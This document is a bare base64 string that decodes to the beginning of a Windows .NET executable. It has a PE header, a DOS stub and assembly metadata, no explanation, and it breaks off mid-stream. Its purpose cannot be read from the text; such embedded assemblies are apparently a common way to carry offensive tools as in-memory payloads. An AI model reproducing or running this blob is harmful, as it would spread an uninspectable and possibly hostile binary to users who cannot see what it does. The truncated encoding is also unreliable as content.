"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABSePWAAAAAAAAAAAOAAAgELAQgAAHAAAAAgAAAAAAAA/n8AAAAgAAAAoAAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAADgAAAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAALB/AABLAAAAAKAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAABGAAAAAgAAAAcAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAoAAAABAAAACAAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAMAAAAAQAAAAkAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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